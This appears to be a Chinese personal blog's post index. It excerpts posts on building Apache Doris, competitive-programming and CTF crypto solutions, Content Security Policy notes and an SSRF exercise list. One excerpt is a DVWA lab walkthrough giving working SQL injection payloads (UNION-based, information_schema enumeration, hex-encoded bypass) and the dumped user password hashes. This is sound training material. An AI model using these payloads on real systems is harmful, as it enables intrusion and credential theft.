May 27, 2025

编译 Apache Doris

假设你有一定计算机基础 / 如果你是 WSL / [wsl2] memory=20GB # 设置最大内存 swap=10GB # 推荐swap为内存的50% 开始准备工作 / ban@DESKTOP-ES3ISPK ~/p/doris (master) [1]> uname -a Linux DESKTOP-ES3ISPK 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux ban@DESKTOP-ES3ISPK ~/p/doris (master)> lsb_release No LSB modules are available. git clone --depth 1 https://github.com/apache/doris.git cd doris/ 截止写文章时,得知流水线为 clang 16,尽可能本地与流水线保持一致
Read more
May 25, 2025

[AtCoder] ABC_147_C 来自 Gemini 的教学

ABC_147_C 哈,算法萌新你好呀!这道 AtCoder 的密码题确实有点意思,就像一个需要耐心和智慧的小游戏。别担心,我们会一步一步拆解它,从最开始的懵懂想法,到找到巧妙的解法,再到把它打磨得更快,就像升级打怪一样!准备好了吗?我们开始探险吧!
Read more
May 13, 2025

[趣题记录] GCD Sum

好友磊哥出了一道数学题,题面是这样的 / 我们需要高效计算: / [公式] 其中 $N \leq 10^{11}$ / 已知 $G(10) = 122$ / 思路 我们不难写出暴力 / def gcd(i, j): while j: i, j = j, i % j return i def calculate_G(N, mod): result = 0 for j in range(1, N + 1): for i in range(1, j + 1): result += gcd(i, j) result %= mod return result N = 10 mod = 998244353 result = calculate_G(N, mod) print(result) 但这还是太慢了,问问磊哥怎么说
Read more
May 12, 2025

一些使用AI的小经验

需要删除所有注释(AI写的注释还是太细致入微了) / \/\/.* 或者 / //.*?(?=\n|$) 会匹配到 URL,那么如何使其不匹配到 URL 呢? / 如果我们思路是向前检测是否存在 HTTP(S) 那么你会发现还有别的协议
Read more
March 4, 2025

SSRF - 服务端请求伪造 - 题目集

收集了一些适合讲解与训练的题目 对网上师傅的 WP 做了一些小修改,如有侵权联系我删除 / SSRF / 关键点:信息收集 (内网扫描等) / 理解:一层 NAT/JumpServer/Proxy / 视频资料:https://www.bilibili.com/video/BV11N4y147nX
Read more
March 3, 2025

CSP - 内容安全策略 - 注意事项

基础事项 WASM 需要使用 wasm-unsafe-eva (属于 script-src 的子属性) / <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSP with SHA-256 Example</title> <!-- Content Security Policy (CSP) --> <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-2XA6OeWgx7rumjOswMWkHzvY7xYWT9JsRykQhkmJXi0';"> </head> <body> <h1>CSP with SHA-256 Example</h1> <p>Check the console for output.</p> <!-- Inline Script with SHA-256 Hash --> <script>const inline = 1;</script> <!-- hash: 'sha256-2XA6OeWgx7rumjOswMWkHzvY7xYWT9JsRykQhkmJXi0=' --> <!-- 注意事项 --> <!-- When generating the hash, don't include the <script> tags and note that capitalization and whitespace matter, including leading or trailing whitespace. 引用自 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#examples --> <!-- 注释也会影响生成的 hash --> </body> </html> Nginx 对默认配置添加 CSP 头以及修改根目录
Read more
February 25, 2025

DVWA SQL injection

Low 题目源码 <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // 没有过滤就直接带入 SQL 语句中 使用单引号闭合 // !!! 漏洞点 !!! // 没有对 $id 进行任何过滤或转义,就直接拼接到 SQL 查询语句中 // 这使得攻击者可以通过构造恶意的 $id 值来执行 SQL 注入攻击 // 攻击者可以利用单引号 (') 来闭合 SQL 语句中的单引号,然后注入恶意的 SQL 代码 // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results // 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据,并将其作为关联数组返回 while( $row = mysqli_fetch_assoc( $result ) ) { // 回显信息 // Get values // 从关联数组中获取 'first_name' 和 'last_name' 的值 $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user // 向用户显示查询结果 // 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符,使输出更易于阅读。 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } // 关闭数据库连接 mysqli_close($GLOBALS["___mysqli_ston"]); } ?> 思路 1. 判断字段数 - 使用 order by 语句 1' or 1=1 order by 1 # 临界报错即可判断字段数 (临界 - 1) 2. 确定显示的字段顺序 会进行多个查询 UNION 用于将两个或多个SELECT语句的结果合并为一个结果集 要使用UNION, 两个SELECT语句必须具有相同的列数, 而且列的数据类型必须兼容 UNION操作会将两个结果集的列对齐, 对应的位置会被映射到相同的字段上 1' union select 1,2 # $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #'; 3. 获取数据库名 1' union select 1,database() # 回显信息 ID: 1' union select 1,database() # First name: admin Surname: admin ID: 1' union select 1,database() # First name: 1 Surname: dvwa 4. 获取数据库中的表 1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() # 回显信息 ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # First name: admin Surname: admin ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # First name: 1 Surname: users,guestbook 5. 获取字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # First name: admin Surname: admin ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # First name: 1 Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login 6. 获取字段内容 其一 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users # 使用UNION操作 把两个SELECT语句的结果合并 第一个SELECT只是一个简单的1 而第二个SELECT使用了GROUP_CONCAT函数 将多个字段的值用冒号分隔 拼接成一个字符串, 回显的结果显示, 所有用户的信息都被拼接在一起 包括user_id、first_name、last_name等等 每个字段之间用冒号分隔, 多个用户之间用逗号分隔 GROUP_CONCAT 字符串拼接 前面的 1 用于匹配列数, 确保查询顺利执行 In [2]: chr(0x3a) Out[2]: ':' 回显 ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users # First name: admin Surname: admin ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users # First name: 1 Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/admin.jpg:2025-02-20 11:55:33:0,2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03:/hackable/users/gordonb.jpg:2025-02-20 11:55:33:0,3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b:/hackable/users/1337.jpg:2025-02-20 11:55:33:0,4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7:/hackable/users/pablo.jpg:2025-02-20 11:55:33:0,5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/smithy.jpg:2025-02-20 11:55:33:0 其二 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 回显 ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: admin Surname: admin ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Gordon Surname: Brown ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Hack Surname: Me ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Pablo Surname: Picasso ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Bob Surname: Smith ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99 Mid 题目源码 <?php // 检查是否通过 POST 请求提交了名为 'Submit' 的参数。 if( isset( $_POST[ 'Submit' ] ) ) { // 获取名为 'id' 的 POST 请求参数的值。 $id = $_POST[ 'id' ]; // 使用 mysqli_real_escape_string 函数对 $id 进行转义。 // mysqli_real_escape_string 函数用于转义字符串中的特殊字符, // 例如单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符。 // 这可以防止 SQL 注入攻击。 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); // 构建 SQL 查询语句,从名为 'users' 的表中选择 'first_name' 和 'last_name' 列, // 条件是 'user_id' 等于转义后的 $id 值。 // !!! 注意 !!! 虽然使用了 mysqli_real_escape_string,但仍然存在整数型 SQL 注入的风险。 // 如果 $id 期望的是一个整数,并且没有进行类型检查,攻击者可以输入类似 "1 OR 1=1" 的值, // 从而绕过 user_id 的限制,获取所有用户的信息。 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 使用 mysqli_query 函数执行 SQL 查询。 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。 // 如果查询失败,则使用 die 函数输出错误信息。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // 获取查询结果 // 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据,并将其作为关联数组返回。 // 循环遍历结果集中的每一行。 while( $row = mysqli_fetch_assoc( $result ) ) { // 从关联数组中获取 'first_name' 和 'last_name' 的值。 $first = $row["first_name"]; $last = $row["last_name"]; // 向用户显示查询结果。 // 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符,使输出更易于阅读。 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // 这段代码在 index.php 页面中稍后会被使用 // 在这里设置是为了像其他脚本一样,可以在这里关闭数据库连接 // 构建 SQL 查询语句,从名为 'users' 的表中选择所有行的数量。 $query = "SELECT COUNT(*) FROM users;"; // 使用 mysqli_query 函数执行 SQL 查询。 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。 // 如果查询失败,则使用 die 函数输出错误信息。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 使用 mysqli_fetch_row 函数从结果集中获取一行数据,并将其作为索引数组返回。 // 获取索引为 0 的元素,该元素包含用户数量。 $number_of_rows = mysqli_fetch_row( $result )[0]; // 关闭数据库连接。 mysqli_close($GLOBALS["___mysqli_ston"]); ?> 思路 虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数 1 判断注入类型 这里我们其实可以直接做出判断 审计代码发现mysqli_real_escape_string()函数的存在 那么字符型注入肯定会遇到问题 我们直接进行数字型注入 因为前端使用下拉菜单,所以我们得通过抓包修改参数。 2. 猜测字段数 确定回显字段顺序 获取当前数据库 获取数据库中的表 这四部分操作与Low级别差别不大 这里只附上相关语句 1 order by 3 # 1 union select 1,2 # 1 union select 1,database() # 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 3. 获取表中字段名 1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 4. 我们按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,所以我们利用十六进制绕过 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 如果用 Yakit 的动态渲染, 需要给生成的内容前加上 `0x` 5. 获取数据 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # final id=-1 union select 1,(SELECT GROUP_CONCAT(user,password SEPARATOR 0x3c62723e) FROM users)&Submit=Submit 也可以使用 python 完成第 4 步
Read more
December 17, 2024

niteCTF 2024 团队 WriteUp

With 正规子群 (Triode, adwa, Ov3) Crypto RSAabc 题目 Cryptonite-MIT/niteCTF-2024 / Solution from Crypto.Util.number import * from output import ns, cts c = "mrgπeτfΟΔςoΝeηiδyegsλexlwVαehιΠπμZe" def reverse_alphabet(char): if char == "e": return "_" elif char in string.ascii_uppercase: return chr(155 - ord(char)) elif char in string.ascii_lowercase: return chr(219 - ord(char)) else: return "?" def fac(n): for p in range(2, 2**26): if n % p == 0: q = n // p break return p, q def googly(number, position): mask = 1 << position return number ^ mask def RSA_de(c, e, p, q): d = inverse(e, (p - 1) * (q - 1)) return long_to_bytes(pow(c, d, p * q)) e = 65537 t = "" for i in c: t += reverse_alphabet(i) print(t) message = "" for i in range(len(t)): if t[i] == "?": p, q = fac(ns[i]) ct = cts[i] for j in range(ct.bit_length()): m = RSA_de(googly(ct, j), e, p, q) if len(m) == 1: message += m.decode() else: message += t[i] print(message) R Stands Alone 加密代码: / from Crypto.Util.number import * def gen_keys(): while True: a = getPrime(128) b = getPrime(128) A = a+b B = a-b p = ((17*A*A*A) - (15*B*B*B) - (45*A*A*B) + (51*A*B*B)) // 8 if isPrime(p) : return a, b, p p, q, r = gen_keys() e = 65537 n = p*q*r flag = b"nite{REDACTED}" ct = pow(bytes_to_long(flag), e, n) print(f"{r =}") print(f"{ct =}") """OUTPUT : r = 17089720847522532186100904495372954796086523439343401190123572243129905753474678094845069878902485935983903151003792259885100719816542256646921114782358850654669422154056281086124314106159053995410679203972646861293990837092569959353563829625357193304859110289832087486433404114502776367901058316568043039359702726129176232071380909102959487599545443427656477659826199871583221432635475944633756787715120625352578949312795012083097635951710463898749012187679742033 ct =583923134770560329725969597854974954817875793223201855918544947864454662723867635785399659016709076642873878052382188776671557362982072671970362761186980877612369359390225243415378728776179883524295537607691571827283702387054497203051018081864728864347679606523298343320899830775463739426749812898275755128789910670953110189932506526059469355433776101712047677552367319451519452937737920833262802366767252338882535122186363375773646527797807010023406069837153015954208184298026280412545487298238972141277859462877659870292921806358086551087265080944696281740241711972141761164084554737925380675988550525333416462830465453346649622004827486255797343201397171878952840759670675361040051881542149839523371605515944524102331865520667005772313885253113470374005334182380501000 """ 非预期: 已知$n=pqr$,$p,q$是512位的整数,但是给出的$r$是1539位的整数,如果$r$要大于flag,那么flag的长度必须大于192,这种情况十分罕见,所以考虑flag小于$r$,可以直接使用$r$来得到flag:
Read more
December 16, 2024

ARM Release

yafu 大数分解 / https://github.com/bbuhrow/yafu/issues/12 / yafu 调用了其作者自己写的 ytools.h, 这个库有很多 Linux/Windows platform 基础工具的宏实现, 无法运行在 macOS 上, 于是暂且搁置, 需要用就 docker run / docker run -it ssst0n3/yafu:2.10 其实有 ARM 的非官方实现: https://github.com/keens312/yafu_arm
Read more
December 16, 2024

SageMath 和 gmpy2 精度的探究

起因 正规子群的群友发了一道二分, 如下, 让转为 SageMath Code / import math from gmpy2 import next_prime, sin, cos, mpz left = 2**63 right = 2**64 n = mpz( 13226258685595630160447827442153267599814292160977306459359416297020102688049793771120158029953432640539514974565723831126909317859357612109049397896863392224521508922404189962829783829182814282953169 ) while left <= right: k = (left + right) // 2 p = ( 2023 * k**5 + 2022 * k**4 - 2023 * k**3 - 2021 * k**2 + 2020 * k + 2019 + int(k**3 * sin(k + 2023)) - int(k**3 * cos(k**2 - 2023)) + int(math.e ** (23) * k) ) q = ( 2023 * k**5 - 2022 * k**4 + 2023 * k**3 - 2021 * k**2 + 2020 * k - 2019 - int(k**2 * sin(k * 2023)) + int(k**2 * cos(k**2 * 2023)) + int(math.e ** (23) * k**2) ) p = next_prime(p) q = next_prime(q) if p * q < n: left = k + 1 elif p * q > n: right = k - 1 else: # time < 0.1s print("k =", k) # k = 17821511070084697841 break 简单替换导入函数后发现并不符合预期
Read more